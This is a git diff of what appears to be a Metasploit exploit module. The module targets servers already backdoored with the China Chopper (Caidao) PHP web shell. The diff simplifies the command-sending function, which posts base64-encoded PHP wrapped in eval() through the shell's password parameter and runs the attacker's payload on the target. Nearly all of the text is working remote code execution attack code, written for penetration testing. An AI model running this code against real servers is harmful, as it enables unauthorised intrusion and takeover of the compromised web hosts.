diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index 21a3423fc2..c2050da87c 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -24,10 +24,6 @@ class Metasploit4 < Msf::Exploit::Remote ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'] ], - 'Payload' => - { - 'BadChars' => '\x00' - }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => @@ -47,17 +43,13 @@ class Metasploit4 < Msf::Exploit::Remote def http_send_command(code) code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));" - res = send_request_cgi({ + send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_post' => { "#{datastore['PASSWORD']}" => code } }) - unless res && res.code == 200 - fail_with(Failure::Unknown, 'Failed to execute the code.') - end - res end def check @@ -71,6 +63,7 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit + print_status("#{peer} - Sending exploit...") http_send_command(payload.raw) end end